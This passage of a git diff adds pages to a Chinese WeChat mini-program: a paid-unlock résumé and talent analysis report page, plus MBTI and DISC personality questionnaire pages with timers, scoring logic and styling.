(hrView.lifecycle) { + const lc = hrView.lifecycle + const parts = [] + if (lc.onboarding) parts.push('【入职】' + lc.onboarding) + if (lc.probation) parts.push('【试用期】' + lc.probation) + if (lc.growth) parts.push('【成长】' + lc.growth) + if (lc.retention) parts.push('【留存】' + lc.retention) + if (parts.length) { + sections.push({ + title: '员工全生命周期预测', + icon: '📈', + body: this.cleanMarkdown(parts.join('\n\n')) + }) + } + } + + if (hrView.performance || hrView.teamFit || hrView.complianceRisk) { + const lines = [] + if (hrView.performance) { + lines.push('【绩效潜力】' + (hrView.performance.potential || '')) + if (hrView.performance.drivers && hrView.performance.drivers.length) { + lines.push('驱动因素:' + hrView.performance.drivers.join(';')) + } + if (hrView.performance.risks && hrView.performance.risks.length) { + lines.push('风险提示:' + hrView.performance.risks.join(';')) + } + lines.push('') + } + if (hrView.teamFit) { + if (hrView.teamFit.bestTeam) { + lines.push('【适配团队】' + hrView.teamFit.bestTeam) + } + if (hrView.teamFit.manageAdvice) { + lines.push('【管理建议】' + hrView.teamFit.manageAdvice) + } + lines.push('') + } + if (hrView.complianceRisk) { + const level = hrView.complianceRisk.level || '' + const notes = hrView.complianceRisk.notes || '' + lines.push('【合规风险】' + level + (notes ? ';' + notes : '')) + } + if (lines.length) { + sections.push({ + title: '绩效 · 团队 · 合规', + icon: '📊', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + } + + const bossView = data.bossView || {} + if (bossView.headline || (bossView.metrics && bossView.metrics.length) || bossView.costInsight) { + const lines = [] + if (bossView.headline) { + lines.push('【一句话结论】' + bossView.headline) + } + if (bossView.metrics && bossView.metrics.length) { + lines.push('') + lines.push('【关键指标】') + bossView.metrics.forEach((m) => { + if (!m) return + lines.push(`- ${m.label}:${m.value || ''}`) + }) + } + if (bossView.costInsight) { + lines.push('') + lines.push('【用人成本与产出】' + bossView.costInsight) + } + sections.push({ + title: '给老板看的摘要', + icon: '💼', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + + const mainContent = + data.overview || + data.resumeHighlights || + (data.portrait && data.portrait.workStyle) || + '' + + return { + content: this.cleanMarkdown(mainContent), + sections + } + }, + + // 清洗正文中的 Markdown 符号 + cleanMarkdown(text) { + if (!text) return ''; + return text + .replace(/\*\*\*(.+?)\*\*\*/g, '$1') // ***bold italic*** + .replace(/\*\*(.+?)\*\*/g, '$1') // **bold** + .replace(/\*(.+?)\*/g, '$1') // *italic* + .replace(/^#{1,6}\s+/gm, '') // ## 标题符号 + .replace(/^[-*]\s+/gm, '• ') // - 无序列表 → 圆点 + .replace(/^\d+\.\s+/gm, (m) => m) // 保留有序列表编号 + .replace(/`(.+?)`/g, '$1') // `code` + .replace(/\[(.+?)\]\(.+?\)/g, '$1') // [链接](url) → 链接文字 + .trim(); + }, + + // 根据标题关键词匹配图标 + getSectionIcon(title) { + if (!title) return '📝'; + const map = { + '评估': '📊', '综述': '📊', '评价': '📊', '总评': '📊', + '优势': '🌟', '特质': '🌟', '性格': '🌟', + '岗位': '🎯', '适配': '🎯', '匹配': '🎯', '核心': '🎯', + '职业': '💼', '发展': '💼', '建议': '💡', '提升': '💡', + '面试': '🗣️', '录用': '✅', '风险': '⚠️' + }; + for (let key in map) { + if (title.indexOf(key) !== -1) return map[key]; + } + return '📝'; + } +}) + diff --git a/miniprogram/pages/result/resume.json b/miniprogram/pages/result/resume.json new file mode 100644 index 0000000..8d9d593 --- /dev/null +++ b/miniprogram/pages/result/resume.json @@ -0,0 +1,4 @@ +{ + "navigationBarTitleText": "简历综合分析" +} + diff --git a/miniprogram/pages/result/resume.wxml b/miniprogram/pages/result/resume.wxml new file mode 100644 index 0000000..506d6a1 --- /dev/null +++ b/miniprogram/pages/result/resume.wxml @@ -0,0 +1,86 @@ + + + + + + + + + {{analyzingTitle || '正在分析中'}} + {{analyzingTip}} + + + + 这个过程可能需要30秒到1分钟,请耐心等待... + + + + + + + + + {{error ? '⚠️' : '📋'}} + + {{error ? '生成失败' : '人才综合评估报告'}} + {{error ? '请检查后重新生成' : '基于测评结果 · AI 综合分析'}} + + + + + + 失败原因 + {{error}} + + 点击重新生成 + + + + + + 🔒 + 报告已生成,需付费解锁 + 完整的简历综合分析报告已生成\n支付后即可查看全部内容 + + 解锁价格 + ¥{{payInfo.amountYuan}} + + + {{paying ? '支付中...' : '立即支付解锁'}} + + + + + + + + {{item.icon}} + {{item.title}} + + + {{item.body}} + + + + + + + 综合分析综评 + {{content}} + + + + + + + 重新分析生成 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/resume.wxss b/miniprogram/pages/result/resume.wxss new file mode 100644 index 0000000..3e23a88 --- /dev/null +++ b/miniprogram/pages/result/resume.wxss @@ -0,0 +1,348 @@ +/* pages/result/resume.wxss - 简历综合分析结果页 */ +.container { + min-height: 100vh; + background-color: #f5f5f5; + padding: 0 24rpx 60rpx; +} + +/* ========== 分析中模态框 ========== */ +.analyzing-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-color: rgba(0, 0, 0, 0.7); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.analyzing-content { + background-color: #fff; + border-radius: 24rpx; + padding: 80rpx 60rpx; + width: 560rpx; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.15); +} + +.analyzing-icon { + width: 120rpx; + height: 120rpx; + margin-bottom: 40rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.spinner { + width: 120rpx; + height: 120rpx; + border: 8rpx solid #e0e0e0; + border-top-color: #e63946; + border-radius: 50%; + animation: spin 1s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.analyzing-title { + font-size: 36rpx; + font-weight: 600; + color: #333; + margin-bottom: 16rpx; +} + +.analyzing-desc { + font-size: 28rpx; + color: #e63946; + margin-bottom: 24rpx; + text-align: center; + font-weight: 500; +} + +.analyzing-bar { + width: 400rpx; + height: 12rpx; + background: #e5e5e5; + border-radius: 6rpx; + overflow: hidden; + margin-bottom: 24rpx; +} + +.analyzing-bar-fill { + height: 100%; + background: linear-gradient(90deg, #e63946, #ff6b9d); + border-radius: 6rpx; + transition: width 0.3s ease; +} + +.analyzing-hint { + font-size: 24rpx; + color: #999; + text-align: center; + line-height: 1.6; +} + +/* ========== 顶部 Hero 区域 ========== */ +.hero-banner { + display: flex; + align-items: center; + border-radius: 20rpx; + padding: 32rpx 28rpx; + margin: 24rpx 0; + gap: 20rpx; +} + +.hero-success { + background: linear-gradient(135deg, #1a1a2e 0%, #3a3a5c 100%); +} + +.hero-error { + background: linear-gradient(135deg, #c62828 0%, #e53935 100%); +} + +.hero-icon { + font-size: 64rpx; + line-height: 1; + flex-shrink: 0; +} + +.hero-text-wrap { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.hero-title { + font-size: 34rpx; + font-weight: 700; + color: #fff; + display: block; +} + +.hero-sub { + font-size: 24rpx; + color: rgba(255, 255, 255, 0.65); + display: block; +} + +/* ========== 通用卡片 ========== */ +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 40rpx 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.05); + word-wrap: break-word; +} + +.card-title { + font-size: 34rpx; + font-weight: 700; + color: #1a1a2e; + display: block; + margin-bottom: 24rpx; + border-left: 8rpx solid #e63946; + padding-left: 20rpx; +} + +.card-text { + font-size: 28rpx; + color: #333; + line-height: 1.8; + display: block; + white-space: pre-wrap; +} + +.error-title { + color: #f44336; + border-left-color: #f44336; +} + +.error-message { + color: #666; + background-color: #f9f9f9; + padding: 20rpx; + border-radius: 12rpx; +} + +.action-btn-retry { + margin-top: 32rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + height: 88rpx; + border-radius: 44rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 6rpx 16rpx rgba(230, 57, 70, 0.25); +} + +.retry-text { + font-size: 30rpx; + color: #fff; + font-weight: 600; +} + +/* ========== 分块卡片 ========== */ +.section-card { + padding: 0; + overflow: hidden; +} + +.section-header { + display: flex; + align-items: center; + padding: 28rpx 32rpx 20rpx; + background: linear-gradient(135deg, #fff5f5 0%, #fff 100%); + border-bottom: 1rpx solid #f5f5f5; +} + +.section-icon { + font-size: 40rpx; + margin-right: 16rpx; + line-height: 1; +} + +.section-title-text { + font-size: 30rpx; + font-weight: 700; + color: #1a1a2e; + flex: 1; + display: block; +} + +.section-body { + padding: 24rpx 32rpx 32rpx; +} + +.section-body .content-text { + font-size: 27rpx; + color: #444; + line-height: 1.9; + letter-spacing: 0.5rpx; +} + +/* ========== 操作按钮 ========== */ +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100%!important; + height: 100rpx; + min-height: 100rpx; + border-radius: 28rpx; + margin-bottom: 20rpx; + padding: 0; + border: none; + line-height: 100rpx; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #e63946; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #e63946; + font-weight: 500; +} + +/* ========== 支付解锁卡片 ========== */ +.pay-gate-card { + display: flex; + flex-direction: column; + align-items: center; + padding: 60rpx 40rpx 48rpx; + text-align: center; +} + +.pay-gate-icon { + font-size: 80rpx; + margin-bottom: 24rpx; +} + +.pay-gate-title { + font-size: 36rpx; + font-weight: 700; + color: #1f2937; + margin-bottom: 16rpx; +} + +.pay-gate-desc { + font-size: 28rpx; + color: #6b7280; + line-height: 1.6; + margin-bottom: 36rpx; +} + +.pay-gate-amount { + display: flex; + align-items: center; + gap: 16rpx; + background: #fff5f5; + border-radius: 20rpx; + padding: 20rpx 40rpx; + margin-bottom: 40rpx; +} + +.pay-amount-label { + font-size: 26rpx; + color: #6b7280; +} + +.pay-amount-value { + font-size: 52rpx; + font-weight: 800; + color: #e63946; +} + +.pay-gate-btn { + width: 100%; + height: 96rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 48rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.35); +} + +.pay-gate-btn.paying { + opacity: 0.7; +} + +.pay-gate-btn-text { + font-size: 32rpx; + font-weight: 700; + color: #fff; +} diff --git a/miniprogram/pages/test-select/index.js b/miniprogram/pages/test-select/index.js new file mode 100644 index 0000000..8594be6 --- /dev/null +++ b/miniprogram/pages/test-select/index.js @@ -0,0 +1,21 @@ +// pages/test-select/index.js - 人脸测试后的详情性格测试入口(MBTI / PDP / DISC) +Page({ + data: {}, + + onLoad() {}, + + // 进入 MBTI 测试 + goMBTI() { + wx.navigateTo({ url: '/pages/test/mbti' }) + }, + + // 进入 PDP 测试 + goPDP() { + wx.navigateTo({ url: '/pages/test/pdp' }) + }, + + // 进入 DISC 测试 + goDISC() { + wx.navigateTo({ url: '/pages/test/disc' }) + } +}) diff --git a/miniprogram/pages/test-select/index.json b/miniprogram/pages/test-select/index.json new file mode 100644 index 0000000..3f9185e --- /dev/null +++ b/miniprogram/pages/test-select/index.json @@ -0,0 +1,5 @@ +{ + "navigationBarTitleText": "详细性格测试", + "navigationBarBackgroundColor": "#FFFFFF", + "usingComponents": {} +} diff --git a/miniprogram/pages/test-select/index.wxml b/miniprogram/pages/test-select/index.wxml new file mode 100644 index 0000000..2f0139a --- /dev/null +++ b/miniprogram/pages/test-select/index.wxml @@ -0,0 +1,40 @@ + + + + 选择一项详细性格测试 + 完成问卷即可获得对应维度的专业报告,与面相分析结果互补 + + + + + 🧠 + + + MBTI 性格测试 + 16型人格 · 发现你的认知与决策风格 + + + + + + + 🦁 + + + PDP 行为偏好测试 + 老虎 / 孔雀 / 考拉 / 猫头鹰 · 行为风格 + + + + + + + 📊 + + + DISC 性格测试 + D/I/S/C 四维 · 沟通与行为倾向 + + + + diff --git a/miniprogram/pages/test-select/index.wxss b/miniprogram/pages/test-select/index.wxss new file mode 100644 index 0000000..8772159 --- /dev/null +++ b/miniprogram/pages/test-select/index.wxss @@ -0,0 +1,107 @@ +/* pages/test-select/index.wxss - 详细性格测试入口,与现有 UI 风格一致 */ +.container { + min-height: 100vh; + background: linear-gradient(180deg, #fff5f5 0%, #f5f5f5 50%, #ffffff 100%); + padding: 24rpx 24rpx 60rpx; + box-sizing: border-box; +} + +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); +} + +/* 顶部说明 */ +.intro-card { + text-align: center; + padding: 40rpx 32rpx; +} + +.intro-title { + display: block; + font-size: 34rpx; + font-weight: 700; + color: #e63946; + margin-bottom: 16rpx; +} + +.intro-desc { + display: block; + font-size: 26rpx; + color: #666; + line-height: 1.6; +} + +/* 入口卡片(与 result 页 next-btn 同色系) */ +.entry-card { + display: flex; + align-items: center; + padding: 28rpx 32rpx; + transition: opacity 0.2s; + border-radius: 16rpx; + border: 2rpx solid transparent; +} + +.entry-card:active { + opacity: 0.9; + background: linear-gradient(135deg, rgba(230, 57, 70, 0.04) 0%, rgba(255, 107, 157, 0.04) 100%); + border-color: rgba(230, 57, 70, 0.15); +} + +.entry-icon-wrap { + width: 88rpx; + height: 88rpx; + border-radius: 20rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.entry-icon-wrap.mbti { + background: linear-gradient(135deg, rgba(124, 58, 237, 0.15) 0%, rgba(139, 92, 246, 0.2) 100%); +} + +.entry-icon-wrap.pdp { + background: linear-gradient(135deg, rgba(230, 57, 70, 0.12) 0%, rgba(255, 107, 157, 0.15) 100%); +} + +.entry-icon-wrap.disc { + background: linear-gradient(135deg, rgba(59, 130, 246, 0.12) 0%, rgba(96, 165, 250, 0.18) 100%); +} + +.entry-emoji { + font-size: 44rpx; +} + +.entry-content { + flex: 1; + min-width: 0; +} + +.entry-name { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #333; + margin-bottom: 8rpx; +} + +.entry-brief { + display: block; + font-size: 24rpx; + color: #888; + line-height: 1.4; +} + +.entry-arrow { + font-size: 32rpx; + color: #e63946; + font-weight: 600; + margin-left: 16rpx; + flex-shrink: 0; +} diff --git a/miniprogram/pages/test/disc.js b/miniprogram/pages/test/disc.js new file mode 100644 index 0000000..d2cb8ea --- /dev/null +++ b/miniprogram/pages/test/disc.js @@ -0,0 +1,134 @@ +// pages/test/disc.js +const { discQuestions, shuffleQuestions } = require('../../utils/questions') +const { discDescriptions } = require('../../utils/descriptions') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: discQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 15 * 60, + formatTime: '15:00', + isSubmitting: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(discQuestions) + this.setData({ questions, currentQuestion: questions[0] }) + this.startTimer() + }, + + onUnload() { + if (this.timer) clearInterval(this.timer) + }, + + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const scores = { D: 0, I: 0, S: 0, C: 0 } + Object.values(this.data.answers).forEach(value => { + if (scores.hasOwnProperty(value)) scores[value]++ + }) + + const total = Object.values(scores).reduce((sum, v) => sum + v, 0) + const percentages = { + D: Math.round((scores.D / total) * 100), + I: Math.round((scores.I / total) * 100), + S: Math.round((scores.S / total) * 100), + C: Math.round((scores.C / total) * 100) + } + + const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] + const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] + + const resultData = { + scores, + percentages, + dominantType, + secondaryType, + description: discDescriptions[dominantType], + testDuration: 15 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + // 便于后端留存完整答题过程 + answers: this.data.answers + } + + // 本地缓存 + 全局缓存 + wx.setStorageSync('discResult', resultData) + if (app && typeof app.saveTestResult === 'function') { + app.saveTestResult('disc', resultData) + } + + wx.redirectTo({ url: '/pages/result/disc' }) + } +}) diff --git a/miniprogram/pages/test/disc.json b/miniprogram/pages/test/disc.json new file mode 100644 index 0000000..65ae751 --- /dev/null +++ b/miniprogram/pages/test/disc.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "DISC测试", + "navigationBarBackgroundColor": "#3B82F6", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/test/disc.wxml b/miniprogram/pages/test/disc.wxml new file mode 100644 index 0000000..57413bd --- /dev/null +++ b/miniprogram/pages/test/disc.wxml @@ -0,0 +1,48 @@ + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/miniprogram/pages/test/disc.wxss b/miniprogram/pages/test/disc.wxss new file mode 100644 index 0000000..629c75c --- /dev/null +++ b/miniprogram/pages/test/disc.wxss @@ -0,0 +1,172 @@ +/* pages/test/disc.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(59, 130, 246, 0.1); + border-color: #3B82F6; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.radio-button.checked { + background-color: #3B82F6; + border-color: #3B82F6; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #3B82F6; +} + +.nav-button.secondary .button-text { + color: #3B82F6; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/test/mbti.js b/miniprogram/pages/test/mbti.js new file mode 100644 index 0000000..ec8ea55 --- /dev/null +++ b/miniprogram/pages/test/mbti.js @@ -0,0 +1,180 @@ +// pages/test/mbti.js - MBTI测试页面逻辑 +const { mbtiQuestions, shuffleQuestions } = require('../../utils/questions') +const { mbtiDescriptions } = require('../../utils/descriptions') +const payment = require('../../utils/payment') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: mbtiQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 30 * 60, // 30分钟 + formatTime: '30:00', + isSubmitting: false, + canAccess: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(mbtiQuestions) + this.setData({ + questions, + currentQuestion: questions[0], + canAccess: true + }) + this.startTimer() + }, + + // 检查访问权限 + checkAccess() { + // 当前策略:所有测试免费开放,直接允许访问 + // 若后续恢复收费,可重新启用 payment.canTakeTest 等校验逻辑 + return true + }, + + onUnload() { + if (this.timer) { + clearInterval(this.timer) + } + }, + + // 启动计时器 + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + // 选择答案 + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + // 自动跳转下一题 + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + // 上一题 + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + // 下一题 + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + // 提交测试 + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const result = this.calculateResult() + + // 保存结果 + const resultData = { + ...result, + testDuration: 30 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + timestamp: new Date().toISOString() + } + wx.setStorageSync('mbtiResult', resultData) + app.saveTestResult('mbti', resultData) + + // 跳转到结果页 + wx.redirectTo({ + url: '/pages/result/mbti' + }) + }, + + // 计算MBTI结果 + calculateResult() { + const answers = this.data.answers + const scores = { E: 0, I: 0, S: 0, N: 0, T: 0, F: 0, J: 0, P: 0 } + + // 统计各维度得分 + Object.values(answers).forEach(value => { + if (scores.hasOwnProperty(value)) { + scores[value]++ + } + }) + + // 确定MBTI类型 + const mbtiType = [ + scores.E >= scores.I ? 'E' : 'I', + scores.S >= scores.N ? 'S' : 'N', + scores.T >= scores.F ? 'T' : 'F', + scores.J >= scores.P ? 'J' : 'P' + ].join('') + + // 计算各维度百分比 + const dimensionScores = { + EI: { E: scores.E, I: scores.I, dominant: scores.E >= scores.I ? 'E' : 'I', percentage: Math.round((Math.max(scores.E, scores.I) / (scores.E + scores.I)) * 100) }, + SN: { S: scores.S, N: scores.N, dominant: scores.S >= scores.N ? 'S' : 'N', percentage: Math.round((Math.max(scores.S, scores.N) / (scores.S + scores.N)) * 100) }, + TF: { T: scores.T, F: scores.F, dominant: scores.T >= scores.F ? 'T' : 'F', percentage: Math.round((Math.max(scores.T, scores.F) / (scores.T + scores.F)) * 100) }, + JP: { J: scores.J, P: scores.P, dominant: scores.J >= scores.P ? 'J' : 'P', percentage: Math.round((Math.max(scores.J, scores.P) / (scores.J + scores.P)) * 100) } + } + + // 计算置信度 + const confidence = Math.round( + (dimensionScores.EI.percentage + dimensionScores.SN.percentage + + dimensionScores.TF.percentage + dimensionScores.JP.percentage) / 4 + ) + + return { + mbtiType, + scores, + dimensionScores, + confidence, + description: mbtiDescriptions[mbtiType] || {} + } + } +}) diff --git a/miniprogram/pages/test/mbti.json b/miniprogram/pages/test/mbti.json new file mode 100644 index 0000000..4c51ce2 --- /dev/null +++ b/miniprogram/pages/test/mbti.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "MBTI测试", + "navigationBarBackgroundColor": "#FF6B8A", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/test/mbti.wxml b/miniprogram/pages/test/mbti.wxml new file mode 100644 index 0000000..913f6d6 --- /dev/null +++ b/miniprogram/pages/test/mbti.wxml @@ -0,0 +1,48 @@ + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/miniprogram/pages/test/mbti.wxss b/miniprogram/pages/test/mbti.wxss new file mode 100644 index 0000000..d3dd6f8 --- /dev/null +++ b/miniprogram/pages/test/mbti.wxss @@ -0,0 +1,172 @@ +/* pages/test/mbti.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(255, 107, 138, 0.12); + border-color: #FF6B8A; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; + transition: all 0.3s ease; +} + +.radio-button.checked { + background-color: #FF6B8A; + border-color: #FF6B8A; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #FF6B8A; +} + +.nav-button.secondary .button-text { + color: #FF6B8A; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/test/pdp.js b/miniprogram/pages/test/pdp.js new file mode 100644 index 0000000..0f71a8b --- /dev/null +++ b/miniprogram/pages/test/pdp.js @@ -0,0 +1,137 @@ +// pages/test/pdp.js +const { pdpQuestions, 